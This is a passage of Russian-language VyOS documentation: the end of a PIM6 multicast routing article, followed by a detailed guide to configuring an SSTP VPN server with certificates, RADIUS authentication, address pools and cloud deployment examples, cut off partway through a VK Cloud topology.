    vtysh << EOF
configure terminal
protocols pim6 rp address $BACKUP_RP
commit
save
exit
EOF

    echo "$(date): Switched to backup RP $BACKUP_RP" >> "$LOG_FILE"
else
    echo "$(date): Primary RP $PRIMARY_RP is reachable" >> "$LOG_FILE"
fi
```

## Ссылки и ресурсы

### RFC Documents

- **RFC 4601** - Protocol Independent Multicast - Sparse Mode (PIM-SM): Protocol Specification
- **RFC 7761** - Protocol Independent Multicast - Sparse Mode (PIM-SM): Protocol Specification (обновление)
- **RFC 3810** - Multicast Listener Discovery Version 2 (MLDv2) for IPv6
- **RFC 2710** - Multicast Listener Discovery (MLD) for IPv6
- **RFC 3956** - Embedding the Rendezvous Point (RP) Address in an IPv6 Multicast Address
- **RFC 4607** - Source-Specific Multicast for IP
- **RFC 5059** - Bootstrap Router (BSR) Mechanism for Protocol Independent Multicast (PIM)
- **RFC 4291** - IP Version 6 Addressing Architecture

### VyOS Documentation

- [VyOS PIM6 Documentation](https://docs.vyos.io/en/latest/configuration/protocols/pim6.html)
- [VyOS PIM Documentation](https://docs.vyos.io/en/latest/configuration/protocols/pim.html)
- [VyOS IPv6 Configuration](https://docs.vyos.io/en/latest/configuration/interfaces/index.html)

### Полезные инструменты

- **FRRouting (FRR)** - Routing suite используемый VyOS для PIM6
- **smcroute** - Static multicast routing tool
- **iperf3** - Network performance testing (multicast режим)
- **tcpdump** - Packet capture
- **Wireshark** - Packet analyzer
- **VLC** - Media player с multicast поддержкой

### Community

- [VyOS Forum](https://forum.vyos.io/)
- [VyOS Phabricator](https://vyos.dev/)
- [GitHub VyOS](https://github.com/vyos)
- [FRRouting GitHub](https://github.com/FRRouting/frr)

## Следующие шаги

После настройки PIM6 рекомендуется изучить:

- **[PIM (IPv4)](/docs/vyos/routing/vyos-pim)** - для IPv4 multicast
- **[IGMP Proxy](/docs/vyos/routing/vyos-igmp)** - для простых IPv4 multicast сценариев
- **[OSPFv3](/docs/vyos/routing/vyos-ospf/)** - для IPv6 unicast routing
- **[BGP](/docs/vyos/routing/vyos-bgp/)** - для IPv6 BGP routing
- **[Firewall](/docs/vyos/firewall/vyos-firewall/)** - для защиты multicast сетей
- **[QoS](/docs/vyos/qos/)** - для приоритизации multicast трафика

## Заключение

PIM6 обеспечивает эффективную multicast маршрутизацию в IPv6 сетях. Правильная конфигурация RP, использование SSM для известных источников и интеграция с MLD обеспечивают стабильную работу современных multicast приложений в Yandex Cloud и VK Cloud.

**Ключевые моменты**:
- PIM6 работает с MLD вместо IGMP
- RP требуется для PIM6-SM, но не для SSM
- SSM (ff3x::/32) рекомендуется для большинства сценариев
- Embedded RP упрощает конфигурацию
- BSR обеспечивает динамическое распространение RP
- Firewall и security критичны для production
- Мониторинг neighbors, RP и multicast routes обязателен


---

# SSTP Server - SSL VPN через порт 443

Source: https://opennix.org/docs/vyos/vpn/vyos-sstp-server/


## Обзор

**SSTP (Secure Socket Tunneling Protocol)** - это проприетарный VPN-протокол, разработанный Microsoft, который обеспечивает передачу PPP-трафика через защищенный SSL/TLS-канал. SSTP является отличным выбором для организаций с строгими ограничениями на файрволах, поскольку использует стандартный HTTPS-порт (TCP 443).

### Основные преимущества SSTP

1. **Прохождение через файрволы** - использует TCP порт 443 (HTTPS), что позволяет проходить практически через любые корпоративные файрволы и NAT
2. **Надежная безопасность** - использует SSL/TLS для аутентификации и шифрования, обеспечивая защиту на транспортном уровне
3. **Совместимость с Windows** - встроенная поддержка в Windows Vista и выше без необходимости установки дополнительного ПО
4. **Стабильное соединение** - использует TCP, обеспечивая надежную доставку пакетов
5. **Простая настройка** - относительно простая конфигурация как на сервере, так и на клиенте

### Технические характеристики

- **Протокол транспорта**: TCP порт 443
- **Туннелирование**: PPP поверх SSL/TLS
- **Шифрование**: SSL/TLS (обычно TLS 1.2 или выше)
- **Аутентификация**: PAP, CHAP, MSCHAP, MSCHAPv2
- **Поддержка IPv6**: Да
- **Backend в VyOS**: accel-ppp

### Архитектура SSTP

```
┌─────────────────┐                                  ┌─────────────────┐
│  SSTP Client    │                                  │  SSTP Server    │
│                 │                                  │                 │
│  ┌───────────┐  │  SSL/TLS Handshake (TCP 443)   │  ┌───────────┐  │
│  │    PPP    │  │ ────────────────────────────────> │    PPP    │  │
│  │  Session  │  │                                  │  Session  │  │
│  └─────┬─────┘  │  Encrypted PPP over HTTPS       │  └─────┬─────┘  │
│        │        │ <───────────────────────────────> │        │        │
│  ┌─────▼─────┐  │                                  │  ┌─────▼─────┐  │
│  │ SSL/TLS   │  │  Certificate Validation         │  │ SSL/TLS   │  │
│  │ Transport │  │ ────────────────────────────────> │ Transport │  │
│  └─────┬─────┘  │                                  │  └─────┬─────┘  │
│        │        │                                  │        │        │
│  ┌─────▼─────┐  │  TCP Connection (port 443)      │  ┌─────▼─────┐  │
│  │    TCP    │  │ <───────────────────────────────> │    TCP    │  │
│  │   443     │  │                                  │    443     │  │
│  └───────────┘  │                                  │  └───────────┘  │
└─────────────────┘                                  └─────────────────┘
```

### Сценарии использования

**SSTP рекомендуется использовать когда:**

- Необходим доступ через строгие корпоративные файрволы, блокирующие все порты кроме 80 и 443
- Клиенты используют преимущественно Windows
- Требуется стабильное VPN-соединение без дополнительного ПО на клиентах Windows
- Нужна интеграция с существующей PKI-инфраструктурой
- Критична совместимость с RADIUS для централизованной аутентификации

**SSTP НЕ рекомендуется когда:**

- Требуется максимальная производительность (UDP-протоколы быстрее)
- Большинство клиентов на Linux/macOS (лучше использовать OpenVPN или WireGuard)
- Критична открытость и аудируемость протокола (SSTP - проприетарный)
- Нужна поддержка мобильных платформ iOS/Android (лучше IKEv2 или OpenVPN)

## Системные требования

### Требования к серверу VyOS

- VyOS 1.3 или выше (рекомендуется 1.4 или 1.5)
- Минимум 512 MB RAM (1 GB рекомендуется для 50+ одновременных подключений)
- Доступ к порту TCP 443 из внешней сети
- Настроенная PKI-инфраструктура или возможность генерации самоподписанных сертификатов

### Требования к клиентам

- **Windows**: Vista SP1 и выше (встроенный клиент)
- **Linux**: sstp-client (требует установки)
- **macOS**: нет встроенной поддержки (требуется стороннее ПО)
- **Android/iOS**: ограниченная поддержка через сторонние приложения

### Сетевые требования

- Разрешен входящий трафик на TCP порт 443
- NAT-прозрачность (SSTP работает через NAT)
- Достаточный пул IP-адресов для VPN-клиентов
- Настроенная маршрутизация для доступа к внутренним ресурсам

## Настройка SSL/TLS сертификатов

SSTP требует наличия SSL/TLS сертификата для защиты соединения. VyOS поддерживает как использование собственной PKI-инфраструктуры, так и импорт внешних сертификатов.

### Вариант 1: Использование встроенной PKI VyOS

#### Шаг 1: Создание собственного Certificate Authority (CA)

```bash
# Генерация приватного ключа и сертификата CA
generate pki ca install VPN-CA

# Опционально: просмотр созданного CA
show pki ca VPN-CA
```

Эта команда создаст:
- Приватный ключ CA (2048-bit RSA по умолчанию)
- Самоподписанный сертификат CA
- Установит их в конфигурацию VyOS

#### Шаг 2: Генерация серверного сертификата

```bash
# Генерация сертификата для SSTP-сервера, подписанного нашим CA
generate pki certificate sign VPN-CA install SSTP-Server

# Опционально: просмотр созданного сертификата
show pki certificate SSTP-Server
```

Эта команда создаст серверный сертификат, подписанный вашим CA.

#### Шаг 3: Генерация сертификата с дополнительными параметрами

Для продакшн-окружения рекомендуется указать дополнительные параметры:

```bash
# Генерация CA с указанием параметров
generate pki ca install VPN-CA \
  common-name "OpenNix VPN CA" \
  country "RU" \
  state "Moscow" \
  locality "Moscow" \
  organization "OpenNix" \
  organizational-unit "IT Security"

# Генерация серверного сертификата с Subject Alternative Names
generate pki certificate sign VPN-CA install SSTP-Server \
  common-name "vpn.example.com" \
  country "RU" \
  state "Moscow" \
  locality "Moscow" \
  organization "OpenNix" \
  organizational-unit "IT Security" \
  subject-alt-name "vpn.example.com" \
  subject-alt-name "sstp.example.com"
```

**Важно**: Subject Alternative Names (SAN) критически важны для современных клиентов, которые проверяют соответствие имени сервера сертификату.

### Вариант 2: Импорт существующих сертификатов

Если у вас уже есть сертификаты от коммерческого CA (Let's Encrypt, Sectigo, DigiCert и т.д.):

```bash
# Войти в режим конфигурации
configure

# Импортировать CA сертификат
set pki ca Public-CA certificate "-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkmUMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
...
-----END CERTIFICATE-----"

# Импортировать серверный сертификат
set pki certificate SSTP-Server certificate "-----BEGIN CERTIFICATE-----
MIIDXTCCAkWgAwIBAgIJAKL0UG+mRkmUMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
...
-----END CERTIFICATE-----"

# Импортировать приватный ключ сертификата
set pki certificate SSTP-Server private key "-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDH...
...
-----END PRIVATE KEY-----"

# Сохранить конфигурацию
commit
save
```

### Вариант 3: Использование Let's Encrypt

Для публичных VPN-серверов можно использовать бесплатные сертификаты Let's Encrypt:

```bash
# На VyOS установить certbot (в operational mode)
sudo apt update
sudo apt install certbot

# Получить сертификат (убедитесь что порт 80 доступен)
sudo certbot certonly --standalone -d vpn.example.com

# Сертификаты будут сохранены в:
# /etc/letsencrypt/live/vpn.example.com/fullchain.pem
# /etc/letsencrypt/live/vpn.example.com/privkey.pem
# /etc/letsencrypt/live/vpn.example.com/chain.pem

# Импортировать в VyOS PKI
configure

# Импорт цепочки CA
set pki ca LetsEncrypt certificate "$(cat /etc/letsencrypt/live/vpn.example.com/chain.pem)"

# Импорт серверного сертификата
set pki certificate SSTP-Server certificate "$(cat /etc/letsencrypt/live/vpn.example.com/cert.pem)"

# Импорт приватного ключа
set pki certificate SSTP-Server private key "$(cat /etc/letsencrypt/live/vpn.example.com/privkey.pem)"

commit
save
```

**Важно**: Сертификаты Let's Encrypt действительны 90 дней и требуют автоматического обновления.

### Проверка установленных сертификатов

```bash
# Показать все установленные CA
show pki ca

# Показать все установленные сертификаты
show pki certificate

# Показать детали конкретного сертификата
show pki certificate SSTP-Server

# Проверить срок действия сертификата
show pki certificate SSTP-Server | grep "Valid"
```

### Экспорт CA сертификата для клиентов

Клиенты должны доверять вашему CA (если используете собственную PKI):

```bash
# Показать CA сертификат в PEM формате
show pki ca VPN-CA certificate pem

# Сохранить в файл (в operational mode)
show pki ca VPN-CA certificate pem | sudo tee /tmp/vpn-ca.crt
```

Затем распространите файл `/tmp/vpn-ca.crt` клиентам для импорта в их хранилища доверенных сертификатов.

## Базовая конфигурация SSTP сервера

### Минимальная рабочая конфигурация

```bash
configure

# Настройка SSL сертификатов
set vpn sstp ssl ca-certificate 'VPN-CA'
set vpn sstp ssl certificate 'SSTP-Server'

# Настройка аутентификации
set vpn sstp authentication mode 'local'
set vpn sstp authentication local-users username 'testuser' password 'SecurePass123!'

# Настройка IP-адресации для клиентов
set vpn sstp client-ip-pool SSTP-POOL range '10.100.0.10-10.100.0.100'
set vpn sstp gateway-address '10.100.0.1'

# Настройка DNS серверов для клиентов
set vpn sstp name-server '8.8.8.8'
set vpn sstp name-server '8.8.4.4'

# Применить конфигурацию
commit
save
exit
```

После применения конфигурации SSTP сервер будет слушать на порту 443 и готов принимать подключения.

### Проверка работы сервера

```bash
# Проверить что служба запущена
show vpn sstp-server sessions

# Проверить статус системной службы
sudo systemctl status accel-ppp@sstp

# Проверить что порт слушается
sudo netstat -tlnp | grep 443
```

## Методы аутентификации

### Локальная аутентификация

Локальная аутентификация хранит учетные данные пользователей непосредственно в конфигурации VyOS.

#### Базовая настройка с локальными пользователями

```bash
configure

# Включить режим локальной аутентификации
set vpn sstp authentication mode 'local'

# Добавить пользователей
set vpn sstp authentication local-users username 'john' password 'JohnPass123!'
set vpn sstp authentication local-users username 'mary' password 'MarySecure456!'
set vpn sstp authentication local-users username 'admin' password 'AdminP@ssw0rd!'

# Опционально: назначить статический IP конкретному пользователю
set vpn sstp authentication local-users username 'admin' static-ip '10.100.0.10'

# Опционально: ограничить скорость для пользователя
set vpn sstp authentication local-users username 'john' rate-limit download '10000'
set vpn sstp authentication local-users username 'john' rate-limit upload '5000'

commit
save
```

#### Протоколы аутентификации PPP

SSTP поддерживает несколько протоколов аутентификации PPP:

```bash
configure

# Разрешить только MSCHAPv2 (рекомендуется, наиболее безопасный)
set vpn sstp authentication protocols 'mschap-v2'

# Разрешить MSCHAP и MSCHAPv2
set vpn sstp authentication protocols 'mschap'
set vpn sstp authentication protocols 'mschap-v2'

# Разрешить CHAP (менее безопасный)
set vpn sstp authentication protocols 'chap'

# Разрешить PAP (небезопасный, только для тестирования)
set vpn sstp authentication protocols 'pap'

commit
save
```

**Рекомендации по безопасности:**
- Используйте только `mschap-v2` для продакшн-окружений
- Избегайте `pap` - пароли передаются открытым текстом
- `chap` приемлем, но менее безопасен чем `mschap-v2`

### RADIUS аутентификация

RADIUS позволяет централизованно управлять пользователями и политиками доступа.

#### Базовая настройка RADIUS

```bash
configure

# Включить RADIUS аутентификацию
set vpn sstp authentication mode 'radius'

# Настроить первичный RADIUS сервер
set vpn sstp authentication radius server 192.168.1.10 key 'RadiusSecret123'
set vpn sstp authentication radius server 192.168.1.10 port '1812'

# Настроить резервный RADIUS сервер
set vpn sstp authentication radius server 192.168.1.11 key 'RadiusSecret123'
set vpn sstp authentication radius server 192.168.1.11 port '1812'

# Опционально: настроить таймауты
set vpn sstp authentication radius timeout '5'
set vpn sstp authentication radius acct-timeout '3'

# Опционально: настроить количество попыток
set vpn sstp authentication radius max-try '3'

# Опционально: включить RADIUS accounting
set vpn sstp authentication radius acct-port '1813'

commit
save
```

#### RADIUS с динамическими атрибутами

RADIUS может передавать дополнительные параметры для пользователей:

```bash
configure

# Разрешить RADIUS серверу назначать IP адреса
set vpn sstp authentication radius dynamic-author server '192.168.1.10'
set vpn sstp authentication radius dynamic-author key 'DynAuthSecret'

# Настроить Source IP для RADIUS запросов
set vpn sstp authentication radius source-address '192.168.1.1'

commit
save
```

**RADIUS атрибуты, поддерживаемые accel-ppp:**
- `Framed-IP-Address` - статический IP для клиента
- `Framed-Route` - маршруты для клиента
- `Framed-IP-Netmask` - маска подсети
- `Session-Timeout` - максимальное время сессии
- `Idle-Timeout` - таймаут неактивности
- `Acct-Interim-Interval` - интервал учетных обновлений

#### Пример конфигурации FreeRADIUS

На стороне FreeRADIUS сервера (`/etc/freeradius/3.0/clients.conf`):

```
client vyos-sstp {
    ipaddr = 192.168.1.1
    secret = RadiusSecret123
    shortname = vyos-sstp-server
    nas_type = other
}
```

Файл пользователей (`/etc/freeradius/3.0/users`):

```
john Cleartext-Password := "JohnPass123!"
    Framed-IP-Address = 10.100.0.50,
    Session-Timeout = 28800

mary Cleartext-Password := "MarySecure456!"
    Framed-IP-Address = 10.100.0.51,
    Acct-Interim-Interval = 300
```

### Комбинированная аутентификация

VyOS поддерживает fallback с RADIUS на локальную аутентификацию:

```bash
configure

# Первичный метод - RADIUS
set vpn sstp authentication mode 'radius'
set vpn sstp authentication radius server 192.168.1.10 key 'RadiusSecret123'

# Fallback на локальную аутентификацию если RADIUS недоступен
set vpn sstp authentication local-users username 'emergency' password 'EmergencyAccess!'

commit
save
```

## Настройка пулов IP-адресов

### IPv4 адресация

#### Простой диапазон адресов

```bash
configure

# Определить пул адресов для клиентов
set vpn sstp client-ip-pool SSTP-POOL range '10.100.0.10-10.100.0.100'

# Указать адрес шлюза (адрес сервера в VPN сети)
set vpn sstp gateway-address '10.100.0.1'

commit
save
```

#### Несколько пулов адресов

```bash
configure

# Пул для обычных пользователей
set vpn sstp client-ip-pool USERS range '10.100.1.10-10.100.1.100'

# Пул для администраторов
set vpn sstp client-ip-pool ADMINS range '10.100.2.10-10.100.2.20'

# Пул для гостевого доступа
set vpn sstp client-ip-pool GUESTS range '10.100.3.10-10.100.3.50'

# Адрес шлюза
set vpn sstp gateway-address '10.100.0.1'

commit
save
```

При использовании RADIUS можно назначать пулы динамически через атрибут `Framed-Pool`.

#### Использование подсетей вместо диапазонов

```bash
configure

# Определить пул через подсеть
set vpn sstp client-ip-pool SUBNET subnet '10.100.10.0/24'

# Адрес шлюза
set vpn sstp gateway-address '10.100.10.1'

commit
save
```

### IPv6 адресация

SSTP полностью поддерживает IPv6 для VPN-клиентов.

#### Базовая настройка IPv6

```bash
configure

# Включить поддержку IPv6
set vpn sstp ppp-options ipv6 'allow'

# Определить IPv6 пул для клиентов
set vpn sstp client-ipv6-pool IPv6-POOL prefix '2001:db8:1000::/48' mask '64'

# Опционально: делегировать префиксы клиентам
set vpn sstp client-ipv6-pool IPv6-POOL delegate '2001:db8:2000::/48' delegation-prefix '56'

commit
save
```

Эта конфигурация:
- Назначает каждому клиенту IPv6 адрес из префикса `2001:db8:1000::/48` с маской `/64`
- Опционально делегирует клиенту префикс `/56` из диапазона `2001:db8:2000::/48`

#### Dual-stack (IPv4 + IPv6)

```bash
configure

# IPv4 конфигурация
set vpn sstp client-ip-pool SSTP-V4 range '10.100.0.10-10.100.0.100'
set vpn sstp gateway-address '10.100.0.1'

# IPv6 конфигурация
set vpn sstp ppp-options ipv6 'allow'
set vpn sstp client-ipv6-pool SSTP-V6 prefix '2001:db8:1000::/48' mask '64'

# DNS серверы для обоих протоколов
set vpn sstp name-server '8.8.8.8'
set vpn sstp name-server '2001:4860:4860::8888'

commit
save
```

#### Принудительное использование IPv6

```bash
configure

# Требовать IPv6 (отклонять клиентов без поддержки IPv6)
set vpn sstp ppp-options ipv6 'require'

# Альтернативно: предпочитать IPv6, но разрешать IPv4
set vpn sstp ppp-options ipv6 'prefer'

commit
save
```

## DNS и WINS серверы

### Настройка DNS серверов

```bash
configure

# Назначить DNS серверы клиентам
set vpn sstp name-server '8.8.8.8'
set vpn sstp name-server '8.8.4.4'

# Или использовать внутренние DNS серверы
set vpn sstp name-server '192.168.1.10'
set vpn sstp name-server '192.168.1.11'

# IPv6 DNS серверы
set vpn sstp name-server '2001:4860:4860::8888'
set vpn sstp name-server '2001:4860:4860::8844'

commit
save
```

### Настройка WINS серверов

Для сетей с Windows-инфраструктурой:

```bash
configure

# Назначить WINS серверы для разрешения NetBIOS имен
set vpn sstp wins-server '192.168.1.100'
set vpn sstp wins-server '192.168.1.101'

commit
save
```

## Дополнительные параметры PPP

### MTU и MRU

```bash
configure

# Установить MTU для PPP интерфейсов
set vpn sstp ppp-options mtu '1400'

# Установить MRU (Maximum Receive Unit)
set vpn sstp ppp-options mru '1400'

commit
save
```

**Рекомендации:**
- Стандартный MTU для Ethernet: 1500
- Для SSTP рекомендуется: 1400-1420 (с учетом overhead SSL/TLS и PPP)
- При проблемах с фрагментацией попробуйте снизить до 1380

### LCP параметры

```bash
configure

# Настроить интервал LCP echo запросов (секунды)
set vpn sstp ppp-options lcp-echo-interval '30'

# Количество пропущенных echo-ответов до разрыва соединения
set vpn sstp ppp-options lcp-echo-failure '3'

# Таймаут LCP запросов
set vpn sstp ppp-options lcp-echo-timeout '5'

commit
save
```

LCP (Link Control Protocol) echo используется для обнаружения "мертвых" соединений:
- `lcp-echo-interval`: как часто отправлять echo запросы
- `lcp-echo-failure`: сколько пропущенных ответов допустимо
- Соединение будет разорвано через `interval × failure` секунд без ответов

### Disable CCP (Compression Control Protocol)

```bash
configure

# Отключить сжатие на PPP уровне (рекомендуется, т.к. SSL/TLS уже сжимает)
set vpn sstp ppp-options disable-ccp

commit
save
```

### IPv6 параметры PPP

```bash
configure

# Разрешить IPv6CP (IPv6 Control Protocol)
set vpn sstp ppp-options ipv6 'allow'

# Принудительно требовать IPv6
set vpn sstp ppp-options ipv6 'require'

# Предпочитать IPv6, но разрешать IPv4-only клиентов
set vpn sstp ppp-options ipv6 'prefer'

# Назначить конкретный IPv6 интерфейс-идентификатор серверу
set vpn sstp ppp-options ipv6-intf-id '::1'

# Назначить конкретный IPv6 интерфейс-идентификатор клиентам
set vpn sstp ppp-options ipv6-peer-intf-id '::2'

# Принять любой интерфейс-идентификатор от клиента
set vpn sstp ppp-options ipv6-accept-peer-intf-id

commit
save
```

## Ограничение скорости (Rate Limiting)

### Ограничение скорости для конкретных пользователей

```bash
configure

# Ограничить скорость для локального пользователя
set vpn sstp authentication local-users username 'john' rate-limit download '20000'
set vpn sstp authentication local-users username 'john' rate-limit upload '10000'

# Значения указываются в Kbps (килобитах в секунду)
# 20000 Kbps = 20 Mbps download
# 10000 Kbps = 10 Mbps upload

commit
save
```

### Ограничение через RADIUS

RADIUS сервер может передавать атрибуты для ограничения скорости. Пример конфигурации на FreeRADIUS:

```
john Cleartext-Password := "password"
    Filter-Id = "rate-limit=20000/10000"
```

Где формат: `rate-limit=download_kbps/upload_kbps`

### Глобальное ограничение скорости

Для применения лимитов ко всем пользователям используйте скрипты или настройки на уровне accel-ppp.

## Расширенные настройки

### Изменение порта прослушивания

По умолчанию SSTP использует порт 443. Для изменения:

```bash
configure

# Использовать нестандартный порт (например, 8443)
set vpn sstp port '8443'

commit
save
```

**Примечание**: Использование нестандартного порта снижает одно из главных преимуществ SSTP - способность проходить через файрволы.

### Максимальное количество клиентов

```bash
configure

# Ограничить максимальное количество одновременных подключений
set vpn sstp max-concurrent-sessions '100'

commit
save
```

### Таймауты сессий

```bash
configure

# Установить таймаут неактивной сессии (секунды)
set vpn sstp ppp-options session-timeout '3600'

commit
save
```

### Логирование

```bash
configure

# Включить детальное логирование
set vpn sstp log level '5'

# Уровни логирования:
# 0 - выключено
# 1 - критические ошибки
# 2 - ошибки
# 3 - предупреждения
# 4 - информация
# 5 - debug (максимальная детализация)

commit
save
```

Логи доступны через journalctl:

```bash
sudo journalctl -u accel-ppp@sstp -f
```

### Extended Scripts (Расширенные скрипты)

VyOS позволяет выполнять пользовательские скрипты при различных событиях:

```bash
configure

# Скрипт при установке соединения
set vpn sstp extended-scripts on-up '/config/scripts/sstp-up.sh'

# Скрипт при разрыве соединения
set vpn sstp extended-scripts on-down '/config/scripts/sstp-down.sh'

# Скрипт при изменении сессии
set vpn sstp extended-scripts on-change '/config/scripts/sstp-change.sh'

# Скрипт при аутентификации
set vpn sstp extended-scripts on-pre-up '/config/scripts/sstp-pre-up.sh'

commit
save
```

#### Пример скрипта on-up

Создайте файл `/config/scripts/sstp-up.sh`:

```bash
#!/bin/bash
# SSTP on-up script
# Доступные переменные:
# PEERNAME - имя пользователя
# CALLING_SID - IP адрес клиента
# CALLED_SID - IP адрес сервера
# IFNAME - PPP интерфейс (например, ppp0)
# IPLOCAL - локальный IP адрес VPN
# IPREMOTE - удаленный IP адрес VPN

logger "SSTP: User $PEERNAME connected from $CALLING_SID via $IFNAME ($IPREMOTE)"

# Пример: добавить статический маршрут для конкретного пользователя
if [ "$PEERNAME" = "admin" ]; then
    ip route add 192.168.100.0/24 via $IPREMOTE dev $IFNAME
fi

# Пример: отправить уведомление
curl -X POST https://monitoring.example.com/vpn-connect \
    -d "user=$PEERNAME&ip=$CALLING_SID&vpn_ip=$IPREMOTE"
```

Не забудьте сделать скрипт исполняемым:

```bash
sudo chmod +x /config/scripts/sstp-up.sh
```

### SNMP мониторинг

```bash
configure

# Включить SNMP для мониторинга SSTP
set vpn sstp snmp master-agent

commit
save
```

После включения SNMP можно мониторить:
- Количество активных сессий
- Статистику трафика
- Информацию о подключенных пользователях

## Примеры конфигураций для облачных провайдеров

### Пример 1: SSTP VPN на Yandex Cloud для обхода строгих файрволов

**Сценарий**: Компания имеет удаленных сотрудников, работающих из локаций с очень строгими корпоративными файрволами, которые блокируют все порты кроме 80 и 443. SSTP - идеальное решение, так как использует стандартный HTTPS порт.

#### Топология

```
┌────────────────────────────────────────────────────────────────┐
│                      Yandex Cloud                              │
│  ┌──────────────────────────────────────────────────────────┐  │
│  │ VPC: 10.128.0.0/16                                       │  │
│  │                                                          │  │
│  │  ┌─────────────────────┐      ┌──────────────────────┐  │  │
│  │  │  VyOS SSTP Server   │      │  Internal Resources  │  │  │
│  │  │  eth0: 51.250.X.X   │──────│  Web: 10.128.1.10    │  │  │
│  │  │  eth1: 10.128.0.10  │      │  DB:  10.128.1.20    │  │  │
│  │  │  SSTP: 10.100.0.1   │      │  App: 10.128.1.30    │  │  │
│  │  └─────────────────────┘      └──────────────────────┘  │  │
│  └──────────────────────────────────────────────────────────┘  │
└────────────────────────────────────────────────────────────────┘
                         ▲
                         │ SSTP (TCP 443)
                         │
              ┌──────────┴──────────┐
              │                     │
         ┌────▼──────┐      ┌──────▼────┐
         │  Windows  │      │  Windows  │
         │  Client 1 │      │  Client 2 │
         │  (Office) │      │  (Home)   │
         └───────────┘      └───────────┘
```

#### Конфигурация VyOS

```bash
configure

# Интерфейсы
set interfaces ethernet eth0 address 'dhcp'
set interfaces ethernet eth0 description 'WAN - Yandex Cloud'

set interfaces ethernet eth1 address '10.128.0.10/24'
set interfaces ethernet eth1 description 'LAN - Internal Network'

# NAT для VPN клиентов
set nat source rule 100 outbound-interface 'eth1'
set nat source rule 100 source address '10.100.0.0/24'
set nat source rule 100 translation address 'masquerade'

# PKI - генерация сертификатов
# (выполнить перед configure)
# generate pki ca install SSTP-CA common-name "Yandex Cloud VPN CA"
# generate pki certificate sign SSTP-CA install SSTP-Server common-name "vpn.company.ru"

# SSTP конфигурация
set vpn sstp ssl ca-certificate 'SSTP-CA'
set vpn sstp ssl certificate 'SSTP-Server'

# Аутентификация через RADIUS (интеграция с Active Directory)
set vpn sstp authentication mode 'radius'
set vpn sstp authentication radius server 10.128.1.50 key 'YandexCloudRadiusSecret2025'
set vpn sstp authentication radius server 10.128.1.50 port '1812'
set vpn sstp authentication radius server 10.128.1.51 key 'YandexCloudRadiusSecret2025'
set vpn sstp authentication radius timeout '10'

# Backup локальная аутентификация
set vpn sstp authentication local-users username 'admin' password 'EmergencyAccess2025!'
set vpn sstp authentication local-users username 'admin' static-ip '10.100.0.5'

# IP пулы
set vpn sstp client-ip-pool VPN-USERS range '10.100.0.10-10.100.0.100'
set vpn sstp gateway-address '10.100.0.1'

# DNS серверы (внутренние корпоративные DNS)
set vpn sstp name-server '10.128.1.10'
set vpn sstp name-server '10.128.1.11'

# WINS для доступа к внутренним Windows ресурсам
set vpn sstp wins-server '10.128.1.50'

# PPP параметры оптимизированные для SSTP
set vpn sstp ppp-options mtu '1400'
set vpn sstp ppp-options lcp-echo-interval '30'
set vpn sstp ppp-options lcp-echo-failure '3'
set vpn sstp ppp-options disable-ccp

# Протоколы аутентификации (только безопасные)
set vpn sstp authentication protocols 'mschap-v2'

# Логирование
set vpn sstp log level '4'

# Файрвол для SSTP
set firewall name WAN_LOCAL rule 100 action 'accept'
set firewall name WAN_LOCAL rule 100 protocol 'tcp'
set firewall name WAN_LOCAL rule 100 destination port '443'
set firewall name WAN_LOCAL rule 100 description 'Allow SSTP VPN'

set firewall interface eth0 local name 'WAN_LOCAL'

# Маршрутизация для VPN клиентов
set protocols static route 10.128.1.0/24 next-hop 10.128.0.1

# SNMP для мониторинга
set vpn sstp snmp master-agent

commit
save
exit
```

#### Настройка Windows клиента

На компьютере пользователя (Windows 10/11):

1. **Импорт CA сертификата**:
   - Скопировать файл `vpn-ca.crt` на компьютер
   - Двойной клик → "Установить сертификат"
   - "Локальный компьютер" → "Поместить все сертификаты в следующее хранилище"
   - "Доверенные корневые центры сертификации"

2. **Создание VPN подключения**:
   - Параметры → Сеть и Интернет → VPN → "Добавить VPN-подключение"
   - Поставщик VPN: Windows (встроенный)
   - Название подключения: "Yandex Cloud Office VPN"
   - Имя или адрес сервера: `vpn.company.ru` (или `51.250.X.X`)
   - Тип VPN: "Secure Socket Tunneling Protocol (SSTP)"
   - Тип данных для входа: "Имя пользователя и пароль"
   - Сохранить

3. **Подключение**:
   - Кликнуть на созданное VPN подключение
   - Ввести учетные данные RADIUS (AD username/password)
   - Нажать "Подключиться"

#### Скрипт автоматического мониторинга

Создать `/config/scripts/sstp-monitor.sh`:

```bash
#!/bin/bash
# SSTP monitoring script for Yandex Cloud

WEBHOOK_URL="https://monitoring.company.ru/api/vpn/events"

# Функция отправки метрик
send_metric() {
    local metric_name=$1
    local metric_value=$2

    curl -s -X POST "$WEBHOOK_URL" \
        -H "Content-Type: application/json" \
        -d "{\"metric\":\"$metric_name\",\"value\":$metric_value,\"timestamp\":$(date +%s)}"
}

# Получить количество активных сессий
active_sessions=$(cli-shell-api showCfg | grep -c "ppp")

# Отправить метрику
send_metric "sstp_active_sessions" "$active_sessions"
```

Добавить в cron:

```bash
set system task-scheduler task monitor-sstp executable path '/config/scripts/sstp-monitor.sh'
set system task-scheduler task monitor-sstp interval '5m'
```

### Пример 2: SSTP VPN на VK Cloud для корпоративного доступа

**Сценарий**: Средний бизнес размещает инфраструктуру в VK Cloud и нуждается в безопасном удаленном доступе для сотрудников. Используется интеграция с корпоративным FreeRADIUS и динамическое назначение ресурсов.

#### Топология

```
┌─────────────────────────────────────────────────────────────────┐
│                         VK Cloud                                │
│  ┌───────────────────────────────────────────────────────────┐  │
│  │ Private Network: 192.168.0.0/16                           │  │
│  │                                                           │  │
│  │  ┌──────────────────┐    ┌──────────────────────────┐    │  │
│  │  │  VyOS Gateway    │    │   FreeRADIUS Server      │    │  │
│  │  │  Ext: 95.X.X.X   │────│   192.168.0.50           │    │  │
│  │  │  Int: 192.168.0.1│    │   (AD integration)       │    │  │
│  │  │  VPN: 10.50.0.1  │    └──────────────────────────┘    │  │
│  │  └──────────────────┘                                     │  │
│  │         │                                                 │  │
│  │         │                                                 │  │
│  │  ┌──────▼───────────────────────────────────────────┐    │  │
│  │  │        Corporate Network Segments                │    │  │
│  │  │  - Management:   192.168.10.0/24                 │    │  │
│  │  │  - Servers:      192.168.20.0/24                 │    │  │
│  │  │  - Workstations: 192.168.30.0/24                 │    │  │
│  │  │  - DMZ:          192.168.100.0/24                │    │  │
